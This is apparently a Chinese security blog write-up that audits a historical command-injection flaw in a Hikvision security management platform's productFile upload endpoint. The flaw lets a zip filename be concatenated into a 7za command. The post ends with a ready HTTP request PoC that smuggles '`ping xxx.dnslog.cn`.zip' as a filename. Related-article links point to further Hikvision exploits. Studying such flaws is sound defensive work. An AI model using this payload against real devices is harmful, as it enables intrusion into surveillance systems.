[代码审计]海康productFile命令执行历史漏洞分析(含poc)

海康威视ivms8700代码审计 他们都拦截/**/*格式下的所有请求,但是前者会排除以静态文件结尾的路径。漏洞位于com/hikvision/cms/eps/biz/trigger/action/TriggerAction类的downloadTriggerSnapshot方法。位于com/hikvision/cms/eps/biz/operation/action/ResourceOperationAction类的uploadAttachment()方法,最终上传文件的核心方法如下。典型的文件上传,代码很简单。也是个典型的文件上传。 阅读详情

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

首先是之前在某漏洞库上看到海康威视-综合安防管理平台 /svm/api/v1/productFile 路径存在任意文件上传,因为刚好有源码就想着去看下,起初以为是zip解压缩目录穿越造成的文件写入,后来发现是拼接命令造成命令执行,比较有意思,已经有其他大佬发过分析文章了,这里只是简单记录下,大佬勿喷。

代码分析

首先根据漏洞路径定位到代码位置。

除了上传文件外还必须要传入2个参数type和ip。

进入productFileUpload方法查看代码逻辑,首先校验Token请求头。

不通过直接抛出异常。

这里这个Token请求头可以配合另一个漏洞来获取,这里直接看文件上传方法resolverUploadMultipartFile,首先判断上传的文件后缀是不是.zip,如果不是直接抛出异常。

如果上传的文件后缀是.zip文件的话,会先调用FileResolver.transferTo。

在FileResolver.transferTo方法中,先获取/opt/hikvision/web/components/svm.1/data/temp目录,如果这个目录不存在的话会创建。

然后因为传入的rename为true,所以保存的文件名前面会加上uuid,最终保存的文件路径就是/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx.zip,FileResolver.transferTo返回保存文件的路径。

回到resolverUploadMultipartFile方法,执行完FileResolver.transferTo且没异常抛出后,会调用ZipFacade.unzip方法来解压上传的zip文件。

这里传入的参数CommonCache.ZIP_TOOL_PATH是7za文件的路径。

fileAbsuolutePath就是保存的文件路径,ZipFacade.unzip方法中首先检查7za和上传的文件是否存在, 然后获取去掉上传的文件扩展名后的路径,作为解压后的目标目录,如果不存在则创建。

最后构建并执行解压命令,这里可以发现这个命令是拼接的,类似于

"7za" x "/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx.zip" -o"/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx" -y

而类似于这段命令中,xxxx是我们可控的,就是上传zip文件的名字,这里就可以利用linux中的内联执行来执行系统命令了。所以文件名可以构造为`ping xxx.dnslog.cn`.zip来达到命令执行。

漏洞POC

token需要通过另一个接口获取。

POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host: 
Token: SElLIElnVTBzNVd6eWlibVB4M046dUE0SlBBbGJTWGNMUnk5aWg4dkJXL2RjeEdqKys4aTd0cHBMM09INytVZz0=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary =---------------------------142851345723692939351758052805
Content-Length: 346

-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="file"; filename="`ping xxx.dnslog.cn`.zip"
Content-Type: application/zip

123
-----------------------------142851345723692939351758052805--
海康威视IP网络对讲广播系统命令执行漏洞(CVE-2023-6895) Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK)版本存在操作系统命令注入漏洞,该漏洞源于文件/php/ping.php的参数jsondata[ip]会导致操作系统命令注入。 阅读详情

相关推荐

海康威视Fastjson漏洞实战:手把手教你复现RCE攻击链(附修复方案)

本文深入解析海康威视Fastjson漏洞(CVE-2025-34067)的RCE攻击链,提供详细的复现步骤与防御方案。通过实验环境搭建、攻击演示和技术原理图解,帮助安全人员理解漏洞机理,并给出紧急缓解措施、版本升级路径及深度防御体系构建建议,助力企业有效防护关键安防基础设施。

weixin_29245767的博客 676

海康威视漏洞合集

解密脚本地址:https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor。操作技巧:/api/video/v2/cameras/previewURLs,访问是否返回rtsp数据流地址,若返回,访问就是摄像头。poc检测工具地址:https://github.com/sccmdaveli/hikvision-poc。漏洞版本:大多数设备。

weixin_46626737的博客 6750

海康威视综合安防管理平台Fastjson远程命令执行漏洞

综合安防管理平台基于 " 统一软件技术架构" 理念设计,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、配置、管理和调度。

holyxp的博客 2665

海康威视CVE-2017-7921漏洞查找与利用

海康威视 CVE-2017-7921 漏洞

AngrySnack的博客 4555

【漏洞复现】海康威视综合安防管理平台Fastjson远程命令执行漏洞复现

综合安防管理平台基于 统一软件技术架构 理念设计,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、配置、管理和调度。海康威视综合安防管理平台存在Fastjson远程命令执行漏洞,该漏洞可执行系统命令,可获取到目标服务器系统权限以及敏感数据信息。

李同學AI安全 9489

海康威视综合安防管理平台 orgManage/v1/orgs/download 任意文件读取漏洞复现

海康威视综合安防管理平台 orgManage/v1/orgs/download 接口处存在任意文件读取漏洞,未经身份验证的远程攻击者可利用目录遍历的方式绕过权限认证直接读取后台服务器配置文件等敏感文件,造成信息泄露,使系统处于极不安全的状态。

0xSec 2245

海康威视历史漏洞深度剖析:从命令注入原理到代码审计实战

命令注入是Web安全领域危害等级最高的漏洞类型之一,其核心原理在于用户可控的输入未经充分校验,直接或间接拼接到了系统命令中,并被危险函数(如system、popen)执行。理解其原理对于构建安全防线至关重要,尤其在物联网和嵌入式设备场景中,此类漏洞可能导致设备完全沦陷,成为内网渗透的跳板。通过静态代码审计,可以追踪从用户输入源到危险函数调用的完整数据流,识别出如字符串拼接函数(sprintf)与系统命令执行函数之间的危险调用链。本次针对海康威视某历史漏洞的深度复盘,正是这一技术实践的典型案例,它涉及对pro

hqmln的博客 358

【漏洞复现】Hikvision摄像头产品代码执行漏洞(CVE-2021-36260)

Hikvision(海康威视)是一家在中国颇具影响力的安防公司,其网络摄像头产品在市场上占据了相当大的份额。Hikvision的网络摄像头产品线非常丰富,涵盖了各种型号和功能,以满足不同用户的需求。

晚风不及你 7789

Goby 漏洞更新 |海康威视部分iVMS系统存在文件上传漏洞

海康威视-iVMS综合安防管理平台是一套“集成化”、“数字化”、“智能化”的平台,包含视频、报警、门禁、访客、梯控、巡查、考勤、消费、停车场、可视对讲等多个子系统。攻击者通过获取密钥任意构造token,请求某个接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。

m0_46699477的博客 2193

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)

海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。

0xSec 1万+

海康威视(iVMS)综合安防系统任意文件上传漏洞复现 [附POC]

海康威视iVMS系统存在任意文件上传漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。

薛定谔嘚喵博客 1941

CVE-2017-7921 海康威视(Hikvision) 摄像头漏洞复现

这是一个海康威视摄像头后台管理未授权漏洞,通过构造URL可绕过登录查看监控,检索所有用户和配置文件下载,并获取到监控后台管理账号和密码。

菜鸟学渗透 1万+

海康威视iSecure Center 综合安防管理平台detection接口存在远程命令执行漏洞

HIKVISION iSecure Center综合安防管理平台是一套“集成化”、“智能化”的平台,通过接入视频监控、一卡通、停车场、报警检测等系统的设备,获取边缘节点数据,实现安防信息化集成与联动,以电子地图为载体,融合各系统能力实现丰富的智能应用。HIKVISION iSecure Center平台基于“统一软件技术架构”先进理念设计,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、统一配置、统一管理和统一调度。

xiaokp7的博客 1921

海康威视iVMS综合安防系统任意文件上传漏洞复现 (0day)

此文章仅用于技术交流,严禁用于对外发起恶意攻击!!!

4577

海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现

海康综合安防管理平台远程命令执行漏洞(CNVD-2024-18673)复现

fly夏天的博客 8060

江科大笔记—OLED调试工具

OLED介绍及调试工具

m0_62005595的博客 658

海康威视iSecure Center综合安防管理平台center任意文件上传漏洞

HIKVISION iSecure Center综合安防管理平台是一套“集成化”、“智能化”的平台,通过接入视频监控、一卡通、停车场、报警检测等系统的设备,获取边缘节点数据,实现安防信息化集成与联动,以电子地图为载体,融合各系统能力实现丰富的智能应用。HIKVISION iSecure Center平台基于“统一软件技术架构”先进理念设计,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、统一配置、统一管理和统一调度。

bmaoHk的博客 1426

张量分解浅谈(四 Tucker 分解)

学完了SVD算法之后,我们继续回到张量几大分解的学习上来,本期学习的主要内容是张量的 Tucker 分解 以及 前面的CP分解还留下一点没有说完,正好一并补齐!后面的公式我将采用颜色标记,红色代表必须掌握,蓝色尽量掌握! 在这之前先附一张图,包含了各种运算符号的名称含义,大部分是前面说过或者使用过的: Tensor decomposition一 . Tucker 分解公式介绍和原理二 . 张量的 n-Rank 一 . Tucker 分解公式介绍和原理 我们先来看一张被使用过很多次的Trucker 分解图

欢迎来到 豪哥 的博客 1万+

Hikvision综合安防管理平台files;.css接口存在任意文件读取漏洞 附POC软件

微信公众号搜索:南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发综合安防管理平台是一套“集成化”、“智能化”的平台,通过接入视频监控、一卡通、停车场、报警检测等系统的设备。

nnn2188185的博客 1319

微软Media Creation Tool 创建工具 1.3 升级:支持全新下载安装Win11 22H2 Build 22621.525

微软 Media Creation Tool 创建工具 1.3 升级:支持全新下载安装 Win11 22H2 Build 22621.525 ISO 镜像,如果今天运行使用 Media Creation Tool,则会下载 Windows 11 2022 版本 Build 22621.525,它不会向操作系统添加任何新内容,但会修复安装问题,下面来看看详细的更新内容。

zym0218的博客 4231

STM32Cube高效开发教程<基础篇>(一)----概述

一、 STM32系列器件和开发工具发展历史声明:本人水平有限,博客可能存在部分错误的地方,请广大读者谅解并向本人反馈错误。本专栏博客参考《STM32Cube高效开发教程(基础篇)》,有意向的读者可以购买正版书籍辅助学习,本书籍由王维波老师、鄢志丹老师、王钊老师倾力打造,书籍内容干货满满。一、 STM32系列器件和开发工具发展历史。

我的博客 187

漏洞复现-海康威视综合安防管理平台信息泄露【附Poc】

海康威视(Hikvision)是一家总部位于中国杭州的公司,是全球最大的视频监控产品供应商。除了传统的CCTV摄像机和网络摄像机,海康威视还提供各种相关的安防产品和解决方案。他们的综合安防管理平台为用户提供了一站式的解决方案,包括视频监控、入侵检测、访客管理、停车场管理等。

zkaqlaoniao的博客 5787

面经-2023-联发科MTK-数字芯片设计

面经-2023-联发科MTK-数字芯片设计

w0shishabi的博客 2944
上一篇: [工具推荐]前端加解密之Burp插件Galaxy
下一篇: [代码审计]jeecg-boot最新权限绕过漏洞分析及新绕过发现
LiangYueSec
博客等级 码龄2年 560粉丝 37原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值